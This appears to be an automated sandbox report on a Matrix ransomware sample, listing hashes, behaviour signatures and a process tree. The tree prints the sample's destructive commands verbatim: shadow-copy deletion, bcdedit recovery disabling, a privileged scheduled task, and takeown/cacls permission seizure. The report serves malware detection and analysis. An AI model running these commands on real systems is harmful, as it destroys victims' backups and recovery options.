Overview

overview

10

Static

static

e724df98ce...69.exe

windows7_x64

10

e724df98ce...69.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    110s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    01-05-2021 00:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569.exe

  • Size

    4.8MB

  • MD5

    739562b08a6131cce604c0e7ffa1a07d

  • SHA1

    eabe2b22d6af539871b81625c0c3a3efb58afd90

  • SHA256

    e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569

  • SHA512

    457dd85e77bf9bd32275230185b7c350245729afeb7c0eaa50a52bbdc109ed41a0d9a4ecf16a186c3bf163f31e86d91060dcb7f7d64494bcb5f6ee21d8f32c9f

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 26 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569.exe
    "C:\Users\Admin\AppData\Local\Temp\e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569.exe"
    1⤵
    • Matrix Ransomware
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569.exe" "C:\Users\Admin\AppData\Local\Temp\NWNCehUW.exe"
      2⤵
        PID:1848
      • C:\Users\Admin\AppData\Local\Temp\NWNCehUW.exe
        "C:\Users\Admin\AppData\Local\Temp\NWNCehUW.exe" -n
        2⤵
        • Executes dropped EXE
        PID:2448
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\o9QjbXvE.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4392
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\o2R6BrBF.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4584
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\o2R6BrBF.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:4684
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:4760
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
            • Matrix Ransomware
            PID:4812
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\lUcGld9y.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4596
          • C:\Windows\SysWOW64\wscript.exe
            wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\lUcGld9y.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4704
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\DeYAqowH.bat" /sc minute /mo 5 /RL HIGHEST /F
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4948
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\DeYAqowH.bat" /sc minute /mo 5 /RL HIGHEST /F
                5⤵
                • Creates scheduled task(s)
                PID:5020
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5084
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Run /I /tn DSHCA
                5⤵
                  PID:2056
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZJXYQLRa.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4868
            • C:\Windows\SysWOW64\attrib.exe
              attrib -R -A -S "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
              3⤵
              • Views/modifies file attributes
              PID:5012
            • C:\Windows\SysWOW64\cacls.exe
              cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C
              3⤵
                PID:5060
              • C:\Windows\SysWOW64\takeown.exe
                takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
                3⤵
                • Modifies file permissions
                • Suspicious use of AdjustPrivilegeToken
                PID:4148
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c QhbGVYKB.exe -accepteula "SmsInterceptStore.db" -nobanner
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4356
                • C:\Users\Admin\AppData\Local\Temp\QhbGVYKB.exe
                  QhbGVYKB.exe -accepteula "SmsInterceptStore.db" -nobanner
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4424
                  • C:\Users\Admin\AppData\Local\Temp\QhbGVYKB64.exe
                    QhbGVYKB.exe -accepteula "SmsInterceptStore.db" -nobanner
                    5⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Enumerates connected drives
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: LoadsDriver
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2808
          • C:\Windows\SYSTEM32\cmd.exe
            C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\DeYAqowH.bat"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:4216
            • C:\Windows\system32\vssadmin.exe
              vssadmin Delete Shadows /All /Quiet
              2⤵
              • Interacts with shadow copies
              PID:4416
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic SHADOWCOPY DELETE
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4592
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4828
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4588
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN DSHCA /F
              2⤵
                PID:4616
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4504

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              MD5

              42f915c1da6fdcb693f0e9d1257a5213

              SHA1

              e163d54f3af1352e8f9d6fa8a680b653d51f7413

              SHA256

              8c3e13364e29f3ae1e1a496c13e5ef73049573d8ac0cffcaf06506b98ef38243

              SHA512

              62dea5e0e07a0fb1e505418cc688e24da7fb8d76f1faf5a21aefc0576e8e387595acb84ef2c19c292dae79c4f6e1743c634d2f6e3046db82260004d86461650d

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\NWNCehUW.exe
              MD5

              739562b08a6131cce604c0e7ffa1a07d

              SHA1

              eabe2b22d6af539871b81625c0c3a3efb58afd90

              SHA256

              e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569

              SHA512

              457dd85e77bf9bd32275230185b7c350245729afeb7c0eaa50a52bbdc109ed41a0d9a4ecf16a186c3bf163f31e86d91060dcb7f7d64494bcb5f6ee21d8f32c9f

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\NWNCehUW.exe
              MD5

              739562b08a6131cce604c0e7ffa1a07d

              SHA1

              eabe2b22d6af539871b81625c0c3a3efb58afd90

              SHA256

              e724df98ce87ea905e9923017c94322059f1919d27bf6f70d38e2a353ff3a569

              SHA512

              457dd85e77bf9bd32275230185b7c350245729afeb7c0eaa50a52bbdc109ed41a0d9a4ecf16a186c3bf163f31e86d91060dcb7f7d64494bcb5f6ee21d8f32c9f

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\QhbGVYKB.exe
              MD5

              2f5b509929165fc13ceab9393c3b911d

              SHA1

              b016316132a6a277c5d8a4d7f3d6e2c769984052

              SHA256

              0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

              SHA512

              c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\QhbGVYKB.exe
              MD5

              2f5b509929165fc13ceab9393c3b911d

              SHA1

              b016316132a6a277c5d8a4d7f3d6e2c769984052

              SHA256

              0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

              SHA512

              c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\QhbGVYKB64.exe
              MD5

              3026bc2448763d5a9862d864b97288ff

              SHA1

              7d93a18713ece2e7b93e453739ffd7ad0c646e9e

              SHA256

              7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

              SHA512

              d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\QhbGVYKB64.exe
              MD5

              3026bc2448763d5a9862d864b97288ff

              SHA1

              7d93a18713ece2e7b93e453739ffd7ad0c646e9e

              SHA256

              7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

              SHA512

              d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\ZJXYQLRa.bat
              MD5

              91ed286f4d056237538808101c791754

              SHA1

              0b9e6909a60cc8d0130c93eb4f47d86554ecd636

              SHA256

              86168ac47d57624bf4a690f988ebc7eb3efbd92f7af00eb2ba25b9b23bd2235d

              SHA512

              9de1d2275c2d452d3f29fd384fd46ebd2b935e37443a7485b7363d527b6594f0863da1d7d5148d485f33aff7c2599d7041abcb212c62656c94ee42a8d2415238

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\o9QjbXvE.txt
              MD5

              75564e2df4b8c8d33695e8e5e58cb03c

              SHA1

              64a796a9f01a1f12bcbe641ecc92541a41ece9b5

              SHA256

              bfc3a26300e7bd0144a9974a6cc1f88f555dd022002aab0166aa0813070a8965

              SHA512

              c24aa065ed61adf4f32d9dd1edd089163b0b953a10ef14f87f4095c0677cc27c684c3666ab1911e4e21f2517d1292454c3016255bb3279e2ff48a59257b455af

              Download Submit

            • C:\Users\Admin\AppData\Roaming\DeYAqowH.bat
              MD5

              333472c0ef584b6d6593d3aea09c4900

              SHA1

              116a83c732b9814f91a72c041ef510697fe5bb3a

              SHA256

              fd59539a17f3467364429c634f7e2b48f19b8633484ea0ace4a4be01b9c95cbb

              SHA512

              3e6007775b97dcbcdbcfc07e265fa5bfd5dc53f01faf10be68d19152fd17425261be02c763c8d3705c10ede06448c70f4c30d00910f03e3c36906bf1d7505a13

              Download Submit

            • C:\Users\Admin\AppData\Roaming\lUcGld9y.vbs
              MD5

              4c2bf9c3f1ac964c399edfa48f23da62

              SHA1

              d2a6f14e46cec004b810f8e071e82fc5730c0563

              SHA256

              5c97af3f32e6a6ac69d5bf8d406a49ff1949f05d2e4bcf623708176178028717

              SHA512

              45de4b1629e0536dc5eaf75f0ed219f319de8129fb4fbc3dce33d06978c2c04f4e78ddd40e52495b9184fba57d5161844c7fd84f0304d3db382538676444bd0f

              Download Submit

            • memory/1848-114-0x0000000000000000-mapping.dmp

              Download

            • memory/2056-157-0x0000000000000000-mapping.dmp

              Download

            • memory/2448-115-0x0000000000000000-mapping.dmp

              Download

            • memory/2808-163-0x0000000000000000-mapping.dmp

              Download

            • memory/4148-158-0x0000000000000000-mapping.dmp

              Download

            • memory/4348-118-0x0000000000000000-mapping.dmp

              Download

            • memory/4356-159-0x0000000000000000-mapping.dmp

              Download

            • memory/4392-128-0x0000000004650000-0x0000000004651000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-123-0x0000000007150000-0x0000000007151000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-119-0x0000000000000000-mapping.dmp

              Download

            • memory/4392-122-0x00000000046A0000-0x00000000046A1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-138-0x0000000008E80000-0x0000000008E81000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-124-0x0000000006FD0000-0x0000000006FD1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-137-0x00000000098F0000-0x00000000098F1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-125-0x00000000077F0000-0x00000000077F1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-126-0x0000000007940000-0x0000000007941000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-148-0x0000000004653000-0x0000000004654000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-127-0x0000000007AB0000-0x0000000007AB1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-129-0x0000000004652000-0x0000000004653000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-132-0x00000000081A0000-0x00000000081A1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-131-0x0000000008080000-0x0000000008081000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4392-130-0x0000000007920000-0x0000000007921000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4416-167-0x0000000000000000-mapping.dmp

              Download

            • memory/4424-160-0x0000000000000000-mapping.dmp

              Download

            • memory/4584-141-0x0000000000000000-mapping.dmp

              Download

            • memory/4588-170-0x0000000000000000-mapping.dmp

              Download

            • memory/4592-168-0x0000000000000000-mapping.dmp

              Download

            • memory/4596-142-0x0000000000000000-mapping.dmp

              Download

            • memory/4616-171-0x0000000000000000-mapping.dmp

              Download

            • memory/4684-143-0x0000000000000000-mapping.dmp

              Download

            • memory/4704-144-0x0000000000000000-mapping.dmp

              Download

            • memory/4760-146-0x0000000000000000-mapping.dmp

              Download

            • memory/4812-147-0x0000000000000000-mapping.dmp

              Download

            • memory/4828-169-0x0000000000000000-mapping.dmp

              Download

            • memory/4868-149-0x0000000000000000-mapping.dmp

              Download

            • memory/4948-150-0x0000000000000000-mapping.dmp

              Download

            • memory/5012-153-0x0000000000000000-mapping.dmp

              Download

            • memory/5020-154-0x0000000000000000-mapping.dmp

              Download

            • memory/5060-155-0x0000000000000000-mapping.dmp

              Download

            • memory/5084-156-0x0000000000000000-mapping.dmp

              Download